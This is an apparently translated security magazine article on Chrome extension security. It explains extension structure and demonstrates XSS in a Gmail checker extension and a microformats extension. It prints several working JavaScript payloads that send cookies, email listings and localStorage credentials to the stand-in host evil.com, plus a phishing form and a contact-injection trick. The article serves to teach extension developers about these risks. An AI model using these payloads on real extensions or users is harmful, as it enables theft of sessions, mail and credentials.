Google Chrome Plugin Security

Every day, Google Chrome is becoming more and more popular. Its creators have done a great job by developing a platform for creating browser extensions. They carry additional functionality, but also a new danger.



As part of this material, I will not describe in detail what the extension architecture in Chrome is. You can learn more about this from Larry Seltzer ’s good article , Google’s Chrome Extensions Show Security Focus . And to understand everything that will be discussed below, you need to realize a few moments. First, the Chrome browser, like the same Firefox, supports extensions. In fact, these are small software modules with which you can change and improve basic functionality. Secondly, plug-ins are developed using familiar web technologies: HTML and JavaScript, including the goodies of HTML5 and CSS. The use of these technologies greatly simplifies the development process, especially when compared to writing an extension for Ognelis (although the same javascript is mainly used there). And third, all plugins are built on the same structure. Usually the extension for Chromium includes the following components:

• manifest.json manifest file - it contains information about the extension: for example, its name and description, version, files used, privileges, and others;
• One or more HTML pages, including a background page background.html, acting as an extension engine;
• optional: one or more JS-scripts, including embedded scripts (this is an analogue of UserJS in Opera and Greasemonkey in Mozille);
• optional: everything else that may be needed - for example, image files.

All this economy is packaged in a zip-archive with the extension crx. For communication between add-on pages, it is possible to call functions from one page to another and even change the DOM model. However, this does not apply to the implemented scripts, for communication with which the message mechanism is used. For extension pages, special browser APIs are available for working with bookmarks, browsing history, cookies, windows, tabs, events, and so on.

Expansion device in Google Chrome

Now, having a general idea of ​​the structure of extensions, I propose to find out what risks these technologies may incur and what developers of addons for Chrome should take into account.
')

Xss

Consider the popular (about 18,368 installations per week) extension for checking Gmail - Google Mail Checker Plus . This useful addon does only one thing - it shows the number of unread letters in your inbox, and when you click on the button, it opens a preview window. In addition, it implemented alerts on the desktop.

Preview of the letter in the popup window of Google Mail Checker Plus

In the preview area, we can see at least the subject of the letter, the sender and a bit of the text of the message. Let's try to play with it. Say what happens if you send a letter with the next topic?

2"'><script src="http://evil.com/own.js"></script> 

Here own.js is a simple javascript load to demonstrate the vulnerability:

 document.body.innerHTML = ''; img = new Image(); img.src = 'http://evil.com/stallowned.jpg'; document.body.appendChild(img); 

After the letter arrived, we will see the first notification on the desktop:

XSS in Google Mail Checker Plus Notification

And then by clicking on the extension button, we will see our XSS in the pop-up extension window:

XSS in Google Mail Checker Plus

Bingo! By the way, this vulnerability was discovered by a person under the nickname Lostmon as early as June 2010, but I picked it up, and the author of the extension had to make corrections again :). The same person, reporting about the bug, wrote:

Free access to your data

Talking about the inability to get to confidential data through such vulnerabilities, he is not quite right :). Let's dig in what can be done with the help of banal XSS in the case of an extension to the browser.

Cookies

Session data is a popular target for XSS attack. But the extension works in a kind of sandbox and direct access to cookies through the document.cookie object is no longer possible - we need to use the API. To work with cookies, the extension (and we also) need special privileges and explicitly specified domains in the manifest, for example like this:

 { "name": "My extension", ... "permissions": [ "cookies", "*://*.google.com" ], ... } 

It is obvious that the risk increases when the extension has too many rights, that is, at least the rights to work with cookies and a large number of registered domains in the corresponding section of the manifest. In this case, XSS becomes a much more dangerous thing, because an attacker can gain access to the cookies of all allowed domains at once. The following code demonstrates how you can collect all the available cookies and send them to the sniffer:

 chrome.cookies.getAll({}, function(cookies) { var dump = 'COOKIES: '; for (var i in cookies) { dump += cookies[i].domain + ':' + cookies[i].name + ':' + cookies[i].value + ' | '; } img = new Image(); img.src = 'http://evil.com/stallowned.jpg?' + dump; document.body.appendChild(img); }); 

All data will be displayed in the logs of our web server requests.

Web browser data as a target for attack

In the previous section, we looked at the risk that a vulnerability in an extension can lead to XSS. Under certain conditions (there are a large number of privileges and domains in the manifest file) an attacker can get cookies from different sites, and this is a strong advantage over XSS in a regular web application. Also, he will be able to get such interesting data as the history of your work with a web browser, bookmarks and other information available through the API with the appropriate permission.
Thus, depending on the type of extension and its privileges, XSS can lead to the compromise of user data on its computer, and not just theft of cookies.

Mail hijacking

With XSS, you can easily bypass the Gmail settings for displaying external content. Let it be not so critical. But if an attacker can inject arbitrary HTML / JavaScript into a specific letter, he can add a tag, and upon request for a picture from the server, determine whether the letter has been read. This is all possible regardless of the settings for displaying external content in Gmail! But this is nonsense, but what is really serious is the hijacking of correspondence. Imagine for a second that you get the following JavaScript load:

 var dump = ''; var e = document.getElementsByTagName('a'); i=0; while(i < e.length) { if (e[i].className == 'openLink') { dump += e[i].innerText + ' | '; } i++; } img = new Image(); img.src = 'http://evil.com/sniff.jpg?' + dump; document.body.appendChild(img); 

This is nothing more than a dumper of letters within a pop-up extension window. Everything is simple here - we search through all the elements from the list of letters that display information about the message (sender, date, subject and message section), and send it to the attacker's server.

Extension settings - there may also be interesting data!

Extensions may well store critical information in their settings, which are accessed using the HTML5 web storage mechanism. Of course, such add-ons should be searched, but they exist, this is 100%. For example, in the settings of such a “bad” plug-in, authentication information can be saved, and we will get it from there using the following script:

 var dump = ' LOCALSTORAGE: '; for (i = 0; i < localStorage.length; i++ ) { dump += "KEY: " + localStorage.key(i); dump += " VALUE: " + localStorage.getItem(localStorage.key(i)) + " | "; } img = new Image(); img.src = 'http://evil.com/sniff.jpg?' + dump; document.body.appendChild(img); 

Phishing

As mentioned above, the extension can not directly access the cookies, so plugin developers need to use the appropriate API. Thus, acquiring cookies as part of an XSS attack becomes a non-trivial solution. But on the other hand - the usual phishing has not been canceled! An attacker can make a simple login pseudo-form and show it to the victim through a simple load:

 var msg = 'Please, enter account information.'; msg += '<form action="http://evil.com/login">Username: <input type=text name=user>'; msg += '<br>Password: <input type=password name=pass><br><input type=submit></form>'; document.body.innerHTML = msg; 

The screenshot doesn’t look very nice, but it’s just a concept.

Phishing

The risks associated with using JSON

JSON is a lightweight text format that is widely used in web 2.0 web applications for exchanging data between client and server parts. It is also used in Chrome plugins to describe the manifest file:

 { "name": "Extension", "version": "1.0", "description": "Some extension", "icons": { "128": "icon.png" }, "permissions": ["http://example.com/"], "browser_action": { "default_title": "", "default_icon": "pic.png", "default_popup": "view.html" } } 

There are at least two big risks associated with unsafe JSON usage:

1. Use the javascript eval () function to parse untrusted data (for example, user data). Google developers specifically identified this risk and wrote recommendations on how to safely parse JSON using the built-in JSON.parse method.
2. A less obvious but no less dangerous risk of theft of JSON JavaScript data is hijacking .

Do not forget about JSON (P), which is used to exchange data between domains. In the context of Chrome extensions, this potential vulnerability is not much different from the same for a regular web application. Also, using any intermediate proxy, you can see how the data is exchanged between the extension and the server part of the web service. And there may well be security problems.

Inline scripts

We told more than once about the implemented scripts (in one of the numbers] [there was even a detailed material about Greasmonkey and its capabilities). A good example of their use is the automatic framing of all URLs on a page into an html tag, thereby making them links, even if the author of the page did not take care of this. The content script is, in fact, a special piece of JavaScript that is embedded in the necessary pages and, importantly, runs in their context, and not in the context of the extension. Thus, these scripts are free to read and change the contents of the current page, but they are also very limited in the use of API extensions. To be precise, they cannot do the following:

• use chrome. * APIs (except for chrome.extension parts);
• use variables and functions defined in the parent extension;
• use variables and functions specified directly in the page code or in other implemented scripts;
• make cross domain XMLHttpRequests.

On the other hand, the implemented scripts can communicate with the parent extension using a special message technology. In general, we have two risks associated with the implemented scripts:

1. Because of the ability to change the content of a page being visited, poorly written scripts can add a vulnerability to a page where this vulnerability was not originally present!
2. The malicious page itself can attack the web browser extension through the implemented scripts.

Let's analyze the example of the second case and consider in more detail the extension for working with microformats. Below is a fragment of HTML code with the popular hCard microformat. In the URL field we stuffed something that, most likely, the extension does not plan to see there:

 <div class="vcard"> <div class="fn">James Bond</div> <div class="org">MI-6</div> <div class="tel">604-555-1234</div> <a class="url" href="123:<script>d = document.createElement('div');d.innerHTML='<h1>XSS</h1>'; document.body.appendChild(d);</script>233">http://example.com/</a> </div> 

If we have this addon installed, and we visit a page with such a code, the extension will try to pull it out, parse it and show us this information about the person.

Attack to the Microformats extension

Our load worked, and you can see the result? But what risks does it carry? But what. The considered extension is able to communicate with your Google account using the OAuth protocol and the Google Address Book API service. With your permission, it has access to the address book and can add entries there by clicking on the corresponding button in the pop-up window. Such a simple code that uses JQuery chips will add an arbitrary contact to your address book on Gmail!

 $(".submithcard").click() 

Thus, we were able to circumvent serious restrictions on the use of API by the implemented scripts, and the load was forwarded to the main expansion window, in which we already have more features.

Conclusion

What do you want to say in the end? The Google Chrome developers have done a really good extension architecture and provided ample opportunity for writing high-quality and secure extensions. But at the same time, we see how the technologies chosen for development (HTML, CSS and JavaScript) with the active participation of unfortunate developers contribute to the exposure of add-ons to such attacks as, say, XSS, to which we are used in the context of web applications. At the same time, risks from such XSS can be worse than from XSS in a regular web application. The creators of extensions will certainly need to carefully read the section “Security considerations” in the developer's manual, and users should follow the updates of the extensions and install them on time!

Useful links:

• HTML5 specification
• Section for developers of Google Chrome extensions
• Microformats

Hacker Magazine, June (06) 149
Taras Ivaschenko

Subscribe to "Hacker"

• 1 999 . for 12 numbers of paper version
• 1249r. for an annual subscription to iOS / iPad (Android'a release soon!)
• "Hacker" on Android